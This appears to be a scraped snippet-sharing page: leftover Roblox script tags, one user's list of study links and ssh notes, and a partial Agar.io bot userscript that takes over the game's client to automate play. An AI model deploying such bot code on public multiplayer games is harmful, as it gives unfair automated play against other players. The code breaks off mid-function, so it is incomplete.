src="https://js.rbxcdn.com/c870e2184a4ea4a15772df19ee57e5e4ea90bdc24e3e3ddd74658e43ddaca66a.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Authentication.SignUp" data-bundle-source="Unknown" src="https://js.rbxcdn.com/7e91b51d18128d573b9f2856ae018f8d0182ab4ffa7183c153fdbde038adb886.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Authentication.Social" data-bundle-source="Unknown" src="https://js.rbxcdn.com/103f9dcee6400c0b6235fd6d3c7fd0f9ee20b1dbe88af70e206916356c940c36.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Authentication.Social" data-bundle-source="Unknown" src="https://js.rbxcdn.com/4372bc0b6f63d74684453b00af8319d341ba938efa859fd24214815ebff98180.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_CommonUI.Controls" data-bundle-source="Unknown" src="https://js.rbxcdn.com/b35289588d9fd7bd30d12cb04f06d797d7ed90a2de7385fb9b66b8f30082ebbc.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_CommonUI.Controls" data-bundle-source="Unknown" src="https://js.rbxcdn.com/5ab1e66d3fc99adacec039d51246fd344742f876b854b830e683b283ff59d053.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="HomePageUpsellCard" data-bundle-source="Main" src="https://js.rbxcdn.com/23738bd1a10455dcc7e4e6d0feaee8df6d754c2b32b7bcbe767c7ae134fb688d.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.ContactUpsell" data-bundle-source="Unknown" src="https://js.rbxcdn.com/d7457234a3e784234fb25fb1c90484ff457705d7259b6e63330a28d7827e2615.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.ContactUpsell" data-bundle-source="Unknown" src="https://js.rbxcdn.com/bbfb55a2e90db74c3975478b192dfa46dc6ac9be0b2304794aa7d8054fe0764d.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="HomeHeader" data-bundle-source="Main" src="https://js.rbxcdn.com/9e7535a2877c72869c721695b323c9f19d052e64b1241502c2fbe2ca2d27ba24.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="NotificationStream" data-bundle-source="Main" src="https://js.rbxcdn.com/2a49348dfcbbaae2a202d147e2abf33646bdc749e44853d3e661d31b65285cbe.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Notifications.NotificationStream" data-bundle-source="Unknown" src="https://js.rbxcdn.com/d6df2173824862b7856020b0d2acc5771d44d5504759ce7a66d68260f2b27f2e.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Notifications.NotificationStream" data-bundle-source="Unknown" src="https://js.rbxcdn.com/eab15b370b22fb6ff2fb67487cc3459f1cdeb238d5bbe85cc733c0647333773c.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="Contacts" data-bundle-source="Main" src="https://js.rbxcdn.com/6291b18e0d22b742564031e30914caa8a4326d2db7916b04ab8524c6b306f25a.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="Chat" data-bundle-source="Main" src="https://js.rbxcdn.com/4a5a4970e9dc2670e11d09772623538446e3dca5a1f19b05c02c625e909a6ccf.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Chat" data-bundle-source="Unknown" src="https://js.rbxcdn.com/c2e07c35f6b6f198f4cdd7617700e3fdc08a4950057b5d951e177cb3a799925f.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Chat" data-bundle-source="Unknown" src="https://js.rbxcdn.com/fa72396066e6281487ac88403442eedb3f1fd2bfa5d7ce9d3f24555d47b07927.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="ItemPurchase" data-bundle-source="Main" src="https://js.rbxcdn.com/bf6ae6dfa7d79f9ffe1a0c1b3a22c25707722264d9afdd2fae5cc3e7f51e5d70.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Purchasing.PurchaseDialog" data-bundle-source="Unknown" src="https://js.rbxcdn.com/c125fb74e968d6f573cfde762240e68903aac6cabfad0fd7b5155f1f289e0201.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Purchasing.PurchaseDialog" data-bundle-source="Unknown" src="https://js.rbxcdn.com/49be7174dd3f046de04e77d78389b0430a07597bf7a326c34e175b1af4cd48e6.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="IdVerification" data-bundle-source="Main" src="https://js.rbxcdn.com/46e8fdd2d3f24bace6654213fa361347b2ecd04746717abc01fdb5fb46dee21f.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Verification.Identity" data-bundle-source="Unknown" src="https://js.rbxcdn.com/c066d18ad754d4b672a46107920e8206d22093da36183e5c0c8048d1dbea82db.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Verification.Identity" data-bundle-source="Unknown" src="https://js.rbxcdn.com/34e63cca1aae541077c77eece3e7604888f5a7a041056b9a464c33381e5f3829.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="GameLaunch" data-bundle-source="Main" src="https://js.rbxcdn.com/2b479b9c4c59d4edd1b627bc5fdcb759508b4a43a8f31ef1527b936d29d23de0.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Common.VisitGame" data-bundle-source="Unknown" src="https://js.rbxcdn.com/d11df52fdb9676a899b9a715f89867b86d1d8a897da128936a143ecb653db48a.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Common.VisitGame" data-bundle-source="Unknown" src="https://js.rbxcdn.com/c76f1b1aed5ee44ddb32b19dbb7496a06e7b85847b284e9d6478cd56144d5e7a.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.GameLaunchGuestMode" data-bundle-source="Unknown" src="https://js.rbxcdn.com/f41ec06eeae79fa94e6ae9f435b0a1c6743085e898884eddb4d4025ca3af8a44.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.GameLaunchGuestMode" data-bundle-source="Unknown" src="https://js.rbxcdn.com/6852af8f7df15395ccb3d121a914ee7301a7162f5afb3395575c6075c617923f.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="LatencyMeasurement" data-bundle-source="Main" src="https://js.rbxcdn.com/90bb51db086699ec26a6c9df04087678948883f8c3ddd1037c7223a20ff4fe90.js"></script> <script onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' data-monitor='true' data-bundlename='pageEnd' type='text/javascript' src='https://js.rbxcdn.com/ac1a9b13743937b70ec20b2cfaa937e7.js'></script> </body> </html>

    From user stoupid999

  • threeng / linuxfoundation.org

    names.io, linuxfoundation http://feeds2.feedburner.com/Command-line-fu http://steve-jansen.github.io/guides/windows-batch-scripting/part-5-if-then-conditionals.html https://www.podfeet.com/blog/2019/07/nc-742/ https://blog.gaijinpot.com/netflix-japan-10-series-to-binge-in-2019/ メッセージ送受信用 格納場所 タスクの名前 https://www.semanticscholar.org/paper/Chapter-2-BASIC-CONCEPTS-OF-REAL-TIME-OPERATING-Rammig-Ditze/5ca369031afd1909b674dfa20c2fc336821ef292 find . -name '*.c' -o -name '*.h' -o -name '*.S' > cscope.files https://blog.gaijinpot.com/gpod-20-best-podcasts-japan/ https://www.tofugu.com/japanese/onyomi-kunyomi/ https://www.behindthename.com/glossary/view/nanori_reading Setsubun (節分) 即位礼正殿の儀 https://vi.wikipedia.org/wiki/Tu%E1%BA%A7n_l%E1%BB%85_V%C3%A0ng_(Nh%E1%BA%ADt_B%E1%BA%A3n) https://a0gustinus.wordpress.com/2013/06/01/browsing-source-code-in-linux-vimcscope/ https://class.ece.uw.edu/474/peckol/doc/FreeRTOSPaper-1.pdf https://class.ece.uw.edu/474/peckol/doc/ https://class.ece.uw.edu/474/peckol/assignments/assignments.html http://cscope.sourceforge.net/cscope_vim_tutorial.html https://stackoverflow.com/questions/6450265/vim-cannot-connect-to-cscope-database https://blog.hackster.io/benchmarking-tensorflow-and-tensorflow-lite-on-the-raspberry-pi-43f51b796796. https://preshing.com/20130618/atomic-vs-non-atomic-operations/ https://www.embedded.com/electronics-blogs/break-points/4025683/Microkernel-vs-monolithichttps://nptel.ac.in/courses/106105086/pdf/module5.pdf https://www.softwaretestinghelp.com/unix-vs-linux/ https://nptel.ac.in/courses/106105036/24 http://dev.ti.com/tirex/content/simplelink_academy_cc2640r2sdk_1_12_00_00/modules/freertos_basics/freertos_basics.html https://nptel.ac.in/courses/106108101/ http://dev.ti.com/tirex/content/simplelink_academy_cc2640r2sdk_1_12_00_00/modules/rtos_concepts/rtos_concepts.html https://www.semanticscholar.org/paper/Chapter-2-BASIC-CONCEPTS-OF-REAL-TIME-OPERATING-Rammig-Ditze/5ca369031afd1909b674dfa20c2fc336821ef292 https://www.cse.wustl.edu/~lu/cse467s/ https://www.geeksforgeeks.org/last-minute-notes-operating-systems/ https://www.geeksforgeeks.org/difference-between-time-sharing-os-and-real-time-os/ https://happilyembedded.wordpress.com/2015/10/23/rtos-conecpts-kernel-objects/ https://elinux.org/R-Car https://techgearoid.com/articles/component-of-a-processor-that-holds-instructions-waiting-to-be-processed-by-the-alu/ https://www.aosabook.org/en/freertos.html https://community.arm.com/developer/ip-products/system/f/embedded-forum/6860/i-want-to-learn-rtos-in-arm-cortex-m-processors https://developer.arm.com/architectures/learn-the-architecture/debugger-usage https://en.wikibooks.org/wiki/Microprocessor_Design https://www.scss.tcd.ie/~jones/vivio/vivio.htm https://developer.arm.com/docs/dui0774/latest/compiler-command-line-options https://review.opendev.org/Documentation/intro-quick.htmlyou’ll never get across the street – don’t even try. In Vietnam, hmmm, there’s a challenge. Moses parting the Red Sea was an amateur compared to anyone crossing a major boulevard in Saigon with 500 million motorcycle drivers (even more than in Italy) who think a Red light is an amusing diversion. https://forum.pjrc.com/threads/26411-FreeRTOS-8-0-1-for-Teensy-3-x-Due-and-AVR-boards https://learn.adafruit.com/what-is-linux https://learn.adafruit.com/what-is-linux https://www.sanfoundry.com/operating-system-mcqs-threads-ult-klt/ https://www.embedded.com/design/operating-systems/4371651/Comparing-the-real-time-scheduling-policies-of-the-Linux-kernel-and-an-RTOS- http://dejazzer.com/coen4720/lectures.html https://class.ece.uw.edu/474/peckol/assignments/assignments.html https://sourceforge.net/projects/p7zip/files/latest/download https://www.decathlon.vn/vi/p/8391963_dong-ho-onmove-500-connected-gps-voi-vong-tay-do-nhip-tim-den-xanh-la-cay.html#our_promise_banner http://www.denx.de/ https://j-talk.com/bwksmch https://j-talk.com/tqbccpn ssh https://customercare.geonaute.com/hc/en-gb/sections/201652152-W500-M-SWIP-timer-watch [email protected] ssh [email protected] ssh [email protected]@52.163.118.83 https://portal.azure.com/#home https://www.automotivelinux.org/announcements/2019/04/30/cloudbees-crave-io-fpt-software-and-github-join-automotive-grade-linux-to-support-shared-technology-development-for-in-car-technology https://www.automotivelinux.org/announcements/2018/01/10/automotive-grade-linux-hits-road-globally-toyota-amazon-alexa-joins-agl-support-voice-recognition https://www.nikkei.com/article/DGXMZO44911880W9A510C1MM8000/ http://www.taipeitimes.com/News/biz/archives/2019/05/24/2003715676 ​https://www.reuters.com/article/us-huawei-tech-usa-tsmc/taiwans-tsmc-says-chip-shipments-to-huawei-not-affected-by-u-s-ban-idUSKCN1ST08O https://www.arm.com/company/news/2019/05/delivering-next-generation-ai-experiences-for-the-5g-world https://www.eetimes.com/document.asp?doc_id=1334746 https://nvidianews.nvidia.com/news/nvidia-launches-edge-computing-platform-to-bring-real-time-ai-to-global-industries https://www.yoctoproject.org/docs/ How connect with Wayland and draw an image on screen. http://docplayer.net/51750275-Ui-and-graphic-eg-ivi-system-home-screen.html https://wayland.freedesktop.org/architecture.html https://en.wikipedia.org/wiki/Wayland_(display_server_protocol) http://manpages.ubuntu.com/manpages/bionic/man5/weston.ini.5.html https://jan.newmarch.name/Wayland/index.html https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/ https://toidicodedao.com/2016/08/11/lap-trinh-va-nau-an/ https://toidicodedao.com/2017/09/07/chia-se-cuoc-song-ben-singapore/ https://toidicodedao.com/2015/08/06/tao-dong-luc-hoc-tap-va-lam-viec-suc-manh-cua-thoi-quen/ https://old.viettelpost.com.vn/Tracking?KEY=489172014 https://tinhte.vn/threads/decathlon-mo-them-cua-hang-quy-mo-lon-tai-aeon-mall-tan-phu-rat-nhieu-do-xin-gia-hop-ly.2968043/ uboot, mmc, sdcard OMX, GST, EAVB, WAYLAND. GFX, IMGTEC DTV DVD https://github.com/pyusb/pyusb https://github.com/python-ivi/python-usbtmc https://github.com/python-ivi/python-usbtmc https://www.youtube.com/watch?v=6vpWf6zvdGg https://www.thedrive.com/tech/28067/nissan-takes-on-tesla-with-hands-free-propilot-2-0 https://newsroom.nissan-global.com/releases/nissan-to-equip-new-skyline-with-worlds-first-next-gen-driver-assistance-system https://toidicodedao.com/2019/05/07/tam-biet-algomerchant-startup-dau-tien/ https://www.oppia.org/explore/9 https://www.oppia.org/search/find?q=&category=(%22Algorithms%22%20OR%20%22Computing%22%20OR%20%22Programming%22) https://github.com/oppia/oppia/wiki/Hacktoberfest-2018 https://en.wikipedia.org/wiki/Comparison_of_continuous_integration_software https://github.com/CommandLineHeroes/hero-engine https://podcasts.google.com/?feed=aHR0cHM6Ly9mZWVkcy5wYWNpZmljLWNvbnRlbnQuY29tL2NvbW1hbmRsaW5laGVyb2Vz https://en.wikipedia.org/wiki/Kernel-Mode_Driver_Framework Desktop_Window_Manager https://commandlineheroes.simplecast.fm/episodes Graphics_Device_Interface https://developer.arm.com/ip-products/processors/cortex-a/cortex-a9 Compositing_window_manager V1 https://en.wikipedia.org/wiki/Display_server Desktop_environment https://docs.microsoft.com/en-us/powershell/scripting/learn/using-familiar-command-names?view=powershell-6 XFree86 Gnome https://www.difference.wiki/windows-95-vs-dos/ https://www.os-book.com/OS10/bib-dir/ CTSS - CP/M - OS/360 Eric Raymond Revenge of the Hackers pdf https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=2ahUKEwinjuyHu4jiAhVZA4gKHSGpDE8QFjABegQIARAC&url=http%3A%2F%2Fciteseerx.ist.psu.edu%2Fviewdoc%2Fdownload%3Fdoi%3D10.1.1.103.2799%26rep%3Drep1%26type%3Dpdf&usg=AOvVaw3Ir3WJWWdym4kyKSimNtGK https://nakamotoinstitute.org/static/docs/taoup.pdf https://www.slideshare.net/featured/category/ https://www.youtube.com/watch?v=DbGw-8r4bOU https://git.seveas.net/the-meaning-of-refs-and-refspecs.html V2 https://www.atlassian.com/git/tutorials/refs-and-the-reflog ref: https://stackoverflow.com/questions/1526471/git-difference-between-branchname-and-refs-head-branchname https://google.github.io/styleguide/shell.xml https://www.iso.org/obp/ui/#iso:std:iso:9001:ed-5:v1:en https://en.wikibooks.org/wiki/Shell_Programming https://devhints.io https://dev.to/hamza/vim-for-starters---the-minimum-you-need-to-know-3ob https://www.cardekho.com/tata/harrier https://en.wikibooks.org/wiki/Korean/RWP/Lesson_1 https://www.academia.edu/ https://www.eetimes.com/document.asp?doc_id=1334302# https://www.saromalang.com/2012/08/phat-am-katakana.html http://j-talk.com https://lists.yoctoproject.org/listinfo https://sachvui.com/the-loai/sach-hoc-ngoai-ngu.html http://www.tutorialspoint.com/unix_commands/ https://www.slideshare.net/saroma/japan-prefectures lm7805 https://www.techulator.com/resources/10562-Make-your-own-Solar-mobile-charger.aspx https://hshop.vn/products/pin-nang-luong-mat-troi-solar-panel-9v-2w https://dev.to/hamza/vim-for-starters---the-minimum-you-need-to-know-3ob

    From user threeng

    Home Page: https://linuxjourney.com/ http://www.proe.vn/raspberry-pi-lithium-battery-power-pack-4000mah_p1_1-1_2-1_3-722_4-467_9-1_11-20_12-2_13-73.html

  • zsith / launcher.user.js

    names.io, // ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 3.062 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 3.062; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; } var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data["data"]) console.log("hmm: " + data["data"]["object"]["sha"]); sha = data["data"]["object"]["sha"]; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (83 == e.keyCode) { selectedCell = (selectedCell + 1).mod(getPlayer().length + 1); console.log("Next Cell " + selectedCell); } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } if (70 == e.keyCode) { window.setShowMass(!getMassBool()); } if (69 == e.keyCode) { if (message.length > 0) { window.setMessage([]); window.onmouseup = function() {}; window.ignoreStream = true; } else { window.ignoreStream = false; window.refreshTwitch(); } } if (81 == e.keyCode) { console.log("ToggleFollowMouse"); toggleFollow = !toggleFollow; } } function humanPlayer() { //Don't need to do anything. var player = getPlayer(); var destination = []; for (var i = 0; i < player.length; i++) { destination.push([getPointX(), getPointY()]) } return destination; } function pb() { //UPDATE if (window.botList == null) { window.botList = []; window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); } window.jQuery('#nick').val(originalName); if (window.botList.length == 0) { window.botList.push(["Human", humanPlayer]); var bList = window.jQuery('#bList'); window.jQuery('<option />', { value: (window.botList.length - 1), text: "Human" }).appendTo(bList); } ya = !0; Pa(); setInterval(Pa, 18E4); var father = window.jQuery("#canvas").parent(); window.jQuery("#canvas").remove(); father.prepend("<canvas id='canvas'>"); G = za = document.getElementById("canvas"); f = G.getContext("2d"); G.onmousedown = function(a) { if (Qa) { var b = a.clientX - (5 + m / 5 / 2), c = a.clientY - (5 + m / 5 / 2); if (Math.sqrt(b * b + c * c) <= m / 5 / 2) { V(); H(17); return } } fa = a.clientX; ga = a.clientY; Aa(); V(); }; G.onmousemove = function(a) { fa = a.clientX; ga = a.clientY; Aa(); }; G.onmouseup = function() {}; /firefox/i.test(navigator.userAgent) ? document.addEventListener("DOMMouseScroll", Ra, !1) : document.body.onmousewheel = Ra; var a = !1, b = !1, c = !1; d.onkeydown = function(l) { //UPDATE if (!window.jQuery('#nick').is(":focus")) { 32 != l.keyCode || a || (V(), H(17), a = !0); 81 != l.keyCode || b || (H(18), b = !0); 87 != l.keyCode || c || (V(), H(21), c = !0); 27 == l.keyCode && Sa(!0); //UPDATE keyAction(l); } }; d.onkeyup = function(l) { 32 == l.keyCode && (a = !1); 87 == l.keyCode && (c = !1); 81 == l.keyCode && b && (H(19), b = !1); }; d.onblur = function() { H(19); c = b = a = !1 }; d.onresize = Ta; d.requestAnimationFrame(Ua); setInterval(V, 40); y && e("#region").val(y); Va(); ha(e("#region").val()); 0 == Ba && y && I(); W = !0; e("#overlays").show(); Ta(); d.location.hash && 6 <= d.location.hash.length && Wa(d.location.hash) } function Ra(a) { J *= Math.pow(.9, a.wheelDelta / -120 || a.detail || 0); //UPDATE 0.07 > J && (J = 0.07); J > 4 / h && (J = 4 / h) } function qb() { if (.4 > h) X = null; else { for (var a = Number.POSITIVE_INFINITY, b = Number.POSITIVE_INFINITY, c = Number.NEGATIVE_INFINITY, l = Number.NEGATIVE_INFINITY, d = 0, p = 0; p < v.length; p++) { var g = v[p]; !g.N() || g.R || 20 >= g.size * h || (d = Math.max(g.size, d), a = Math.min(g.x, a), b = Math.min(g.y, b), c = Math.max(g.x, c), l = Math.max(g.y, l)) } X = rb.ka({ ca: a - d + 100, da: b - d + 100, oa: c + d + 100, pa: l + d + 100, ma: 2, na: 4 }); for (p = 0; p < v.length; p++) if (g = v[p], g.N() && !(20 >= g.size * h)) for (a = 0; a < g.a.length; ++a) b = g.a[a].x, c = g.a[a].y, b < s - m / 2 / h || c < t - r / 2 / h || b > s + m / 2 / h || c > t + r / 2 / h || X.m(g.a[a]) } } function Aa() { //UPDATE if (selectedCell > 0 && selectedCell <= getPlayer().length) { setPoint(((fa - m / 2) / h + s), ((ga - r / 2) / h + t), selectedCell - 1); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size, 8); drawCircle(getPlayer()[selectedCell - 1].x, getPlayer()[selectedCell - 1].y, getPlayer()[selectedCell - 1].size / 2, 8); } else if (selectedCell > getPlayer().length) { selectedCell = 0; } if (toggle || window.botList[botIndex][0] == "Human") { var startIndex = (selectedCell == 0 ? 0 : selectedCell - 1); for (var i = 0; i < getPlayer().length - (selectedCell == 0 ? 0 : 1); i++) { setPoint(((fa - m / 2) / h + s) + i, ((ga - r / 2) / h + t) + i, (i + startIndex).mod(getPlayer().length)); } } } function Pa() { null == ka && (ka = {}, e("#region").children().each(function() { var a = e(this), b = a.val(); b && (ka[b] = a.text()) })); e.get("https://m.agar.io/info", function(a) { var b = {}, c; for (c in a.regions) { var l = c.split(":")[0]; b[l] = b[l] || 0; b[l] += a.regions[c].numPlayers } for (c in b) e('#region option[value="' + c + '"]').text(ka[c] + " (" + b[c] + " players)") }, "json") } function Xa() { e("#adsBottom").hide(); e("#overlays").hide(); W = !1; Va(); d.googletag && d.googletag.pubads && d.googletag.pubads().clear(d.aa) } function ha(a) { a && a != y && (e("#region").val() != a && e("#region").val(a), y = d.localStorage.location = a, e(".region-message").hide(), e(".region-message." + a).show(), e(".btn-needs-server").prop("disabled", !1), ya && I()) } function Sa(a) { W || (K = null, sb(), a && (x = 1), W = !0, e("#overlays").fadeIn(a ? 200 : 3E3)) } function Y(a) { e("#helloContainer").attr("data-gamemode", a); P = a; e("#gamemode").val(a) } function Va() { e("#region").val() ? d.localStorage.location = e("#region").val() : d.localStorage.location && e("#region").val(d.localStorage.location); e("#region").val() ? e("#locationKnown").append(e("#region")) : e("#locationUnknown").append(e("#region")) } function sb() { la && (la = !1, setTimeout(function() { la = !0 //UPDATE }, 6E4 * Ya)) } function Z(a) { return d.i18n[a] || d.i18n_dict.en[a] || a } function Za() { var a = ++Ba; console.log("Find " + y + P); e.ajax("https://m.agar.io/", { error: function() { setTimeout(Za, 1E3) }, success: function(b) { a == Ba && (b = b.split("\n"), b[2] && alert(b[2]), Ca("ws://" + b[0], b[1])) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: (y + P || "?") + "\n154669603" }) } function I() { ya && y && (e("#connecting").show(), Za()) } function Ca(a, b) { if (q) { q.onopen = null; q.onmessage = null; q.onclose = null; try { q.close() } catch (c) {} q = null } Da.la && (a = "ws://" + Da.la); if (null != L) { var l = L; L = function() { l(b) } } if (tb) { var d = a.split(":"); a = d[0] + "s://ip-" + d[1].replace(/\./g, "-").replace(/\//g, "") + ".tech.agar.io:" + (+d[2] + 2E3) } M = []; k = []; E = {}; v = []; Q = []; F = []; z = A = null; R = 0; $ = !1; console.log("Connecting to " + a); //UPDATE serverIP = a; q = new WebSocket(a); q.binaryType = "arraybuffer"; q.onopen = function() { var a; console.log("socket open"); a = N(5); a.setUint8(0, 254); a.setUint32(1, 4, !0); O(a); a = N(5); a.setUint8(0, 255); a.setUint32(1, 154669603, !0); O(a); a = N(1 + b.length); a.setUint8(0, 80); for (var c = 0; c < b.length; ++c) a.setUint8(c + 1, b.charCodeAt(c)); O(a); $a() }; q.onmessage = ub; q.onclose = vb; q.onerror = function() { console.log("socket error") } } function N(a) { return new DataView(new ArrayBuffer(a)) } function O(a) { q.send(a.buffer) } function vb() { $ && (ma = 500); console.log("socket close"); setTimeout(I, ma); ma *= 2 } function ub(a) { wb(new DataView(a.data)) } function wb(a) { function b() { for (var b = "";;) { var d = a.getUint16(c, !0); c += 2; if (0 == d) break; b += String.fromCharCode(d) } return b } var c = 0; 240 == a.getUint8(c) && (c += 5); switch (a.getUint8(c++)) { case 16: xb(a, c); break; case 17: aa = a.getFloat32(c, !0); c += 4; ba = a.getFloat32(c, !0); c += 4; ca = a.getFloat32(c, !0); c += 4; break; case 20: k = []; M = []; break; case 21: Ea = a.getInt16(c, !0); c += 2; Fa = a.getInt16(c, !0); c += 2; Ga || (Ga = !0, na = Ea, oa = Fa); break; case 32: M.push(a.getUint32(c, !0)); c += 4; break; case 49: if (null != A) break; var l = a.getUint32(c, !0), c = c + 4; F = []; for (var d = 0; d < l; ++d) { var p = a.getUint32(c, !0), c = c + 4; F.push({ id: p, name: b() }) } ab(); break; case 50: A = []; l = a.getUint32(c, !0); c += 4; for (d = 0; d < l; ++d) A.push(a.getFloat32(c, !0)), c += 4; ab(); break; case 64: pa = a.getFloat64(c, !0); c += 8; qa = a.getFloat64(c, !0); c += 8; ra = a.getFloat64(c, !0); c += 8; sa = a.getFloat64(c, !0); c += 8; aa = (ra + pa) / 2; ba = (sa + qa) / 2; ca = 1; 0 == k.length && (s = aa, t = ba, h = ca); break; case 81: var g = a.getUint32(c, !0), c = c + 4, e = a.getUint32(c, !0), c = c + 4, f = a.getUint32(c, !0), c = c + 4; setTimeout(function() { S({ e: g, f: e, d: f }) }, 1200) } } function xb(a, b) { bb = C = Date.now(); $ || ($ = !0, e("#connecting").hide(), cb(), L && (L(), L = null)); var c = Math.random(); Ha = !1; var d = a.getUint16(b, !0); b += 2; for (var u = 0; u < d; ++u) { var p = E[a.getUint32(b, !0)], g = E[a.getUint32(b + 4, !0)]; b += 8; p && g && (g.X(), g.s = g.x, g.t = g.y, g.r = g.size, g.J = p.x, g.K = p.y, g.q = g.size, 